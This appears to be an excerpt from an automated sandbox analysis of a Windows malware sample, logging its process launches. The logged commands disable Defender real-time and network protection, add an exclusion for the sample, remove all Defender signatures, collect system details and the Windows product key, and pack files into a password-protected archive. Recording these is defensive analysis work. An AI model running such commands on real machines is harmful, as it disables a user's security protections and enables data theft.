              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Removes signatures from Windows Defender
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Users\user\Desktop\riFSkYVMKB.exe "C:\Users\user\Desktop\riFSkYVMKB.exe"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\riFSkYVMKB.exe'Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSendJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -AllJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LISTJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exe a -r -hp"blank123" "C:\Users\user\AppData\Local\Temp\0ddIp.zip" *
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversendJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeCode function: 18_2_00007FF68A24B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,18_2_00007FF68A24B340
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0795E0 cpuid 0_2_00007FF79D0795E0
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_ctypes.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\blank.aes VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442 VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\_lzma.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI51442\base_library.zip VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeQueries volume information: C:\Users\user\Desktop\riFSkYVMKB.exe VolumeInformationJump to behavior
